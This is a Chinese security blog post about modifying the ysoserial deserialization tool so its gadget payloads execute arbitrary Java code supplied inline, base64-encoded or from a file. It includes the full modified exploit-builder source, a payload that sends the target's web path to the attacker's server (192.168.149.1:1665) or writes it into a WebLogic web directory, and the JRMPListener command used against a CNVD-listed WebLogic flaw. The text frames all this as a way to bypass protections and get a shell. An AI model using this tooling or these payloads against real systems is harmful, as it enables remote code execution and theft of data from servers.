使ysoserial支持执行自定义代码

修改ysoserial代码,可使其支持执行自定义代码,是在一次与Bearcat师傅聊天时提到的。当时觉得眼前一亮,感觉在命令执行受阻时,也许可以通过代码执行达到目的。后面去查资料找到了fnmsd师傅的文章,解决了实现该想法的疑问。在此感谢两位师傅给我的启发。

0x01 意义

一、绕过检测,执行某些禁止命令。

有些系统做了防护,不许执行或者没有某些命令(比如wget)。这时可以编写命令同等功能的代码,来绕过限制。

二、解决各个平台命令不一致。

不同操作系统,命令会有不同。比如查看ip操作,Windows是ipconfig,Linux是ifconfg。而java代码是可以跨平台的。

三、获取更高的自由度,实现更复杂的操作。

命令的背后也是代码,当需要执行一些比较复杂的操作时,纯命令是很难实现的,但代码可以!

0x02 原理

ysoserial/payloads/util/Gadgets.java中的代码注释,作者提到

1
TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections(待做,可以做一些有趣的事情比如注入一个纯java的反弹或绑定shell去绕过较弱的保护)

可知作者也有此意,并给我们预留了可指定自定义代码的变量cmd

作者的注释

我们从控制台传入的命令,会被保存到command变量中,最后ysoserial会将该变量的值,拼接到"Runtime.getRuntime.exec(" + 命令 + ")"中,生成形成达到命令执行的代码,所以本质上还是代码执行。

因此要想使ysoserial支持执行自定义代码,只要使得在控制台输入能控制cmd变量的值即可。实现起来并不难

0x03 编码

根据我个人的的需要,给ysoserial加入以下三种方式来指定要执行的自定义代码。

序号 方式 描述
1 “code:代码内容” 代码量比较少时采用
2 “codebase64:代码内容base64编码” 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
3 “codefile:代码文件路径” 代码量比较多时采用

注意:如果没有指定以上开头,就默认当命令处理。

基于上面的需求,我修改了createTemplatesImpl()函数的代码为如下,具体如何实现,请参考代码和注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections


////////////////////////////////////////////////////////////////////////////////////////////////////////
// Code by c0ny1
// email: [email protected]
// date: 2019-04-29
// From: https://www.cnblogs.com/0201zcr/p/5009975.html
////////////////////////////////////////////////////////////////////////////////////////////////////////
String cmd = "";
if(command.startsWith("code:")) {
cmd = command.substring(5);
}else if(command.startsWith("codebase64:")){
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
cmd = new URLDecoder().decode(cmd);
}else if(command.startsWith("codefile:")){
String codefile = command.substring(9);
try{
File file = new File(codefile);
if(file.exists()){
FileReader reader = new FileReader(file);
BufferedReader br = new BufferedReader(reader);
StringBuffer sb = new StringBuffer("");
String line = "";
while ((line = br.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
cmd = sb.toString();
}else{
System.err.println(String.format("[-] %s is not exists!",codefile));
System.exit(0);
}
}catch (IOException e){
e.printStackTrace();
}
}else{
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
System.err.println("----------------------------------Java code start----------------------------------");
System.err.println(cmd);
System.err.println("-----------------------------------Java code end-----------------------------------");
////////////////////////////////////////////////////////////////////////////////////////////////////////


clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

修改完代码后,我们重新将其打包为ysoserial-0.0.6.1-custom-code-exec.jar,就可以使用可指定自定义代码的ysoserial了。需要我编译好的jar,请公众号后台回复“ysoserial可执行自定义代码版本”获取。

注意:只有以下payload支持指定支持任意代码执行,其他paylaod需要手工修改其代码,因为它们没有调用我们修改的Gadgets.createTemplatesImpl方法。

调用了createTemplatesImpl方法的payload

0x04 案例

下面举一个“不痛不痒”的例子,来展现其高自由度。

假设我们有个需求是这样的,获取目标系统的web物理路径,如果目标能访问我们服务器就把信息提交到服务器的web服务上。如果不能,就把信息写到目标自己的web目录下。如果你使用命令在实现,是比较费劲的,但是用代码就轻而易举!

custiom-code.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
String HOST = "http://192.168.149.1:1665";
String WEB_PATH = System.getProperty("user.dir");

String str_url = HOST + "/?info=" + WEB_PATH;
try{
//若目标能访问我们的服务器,则发送信息到服务器上
java.net.URL url = new java.net.URL(str_url);
java.net.URLConnection conn = url.openConnection();
conn.connect();
conn.getContent();
}catch(Exception e){
//若目标不能访问我们的服务器,则将信息写到自己的web目录下info.log文件中
String webPath = WEB_PATH + "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/info.log";
try {
java.io.FileOutputStream f1 = new java.io.FileOutputStream(webPath);
f1.write(WEB_PATH.getBytes());
f1.close();
} catch (Exception e1) {
e1.printStackTrace();
}
}

这里我利用CNVD-C-2019-48814这个漏洞,让远程服务器(192.168.149.142)加载我本机rmi服务(192.168.149.1:1664),我的rmi服务指定执行的代码,是我们编写好的custom-code.java。具体命令如下:

1
java -cp ysoserial-0.0.6.1-custom-code-exec.jar ysoserial.exploit.JRMPListener 1664 Jdk7u21 "codefile:custom-code.java"

通过测试发现,在本机启动web服务(92.168.149.1:1665),且目标可访问时,可成功接收信息。

服务器成功接收到信息

然后我把服务器web服务停止了,目标自然无法访问。结果在目标系统的web目录下成功生成了文件,保存着我们要采集的信息。

目标web目录下成功生成包含信息的文件

从任意命令执行变成任意代码执行,在我看来危害增大了不少。在命令执行getshell受阻时,如何通过代码执行突破呢,到这里懂的人自然懂了。

0x05 参考文章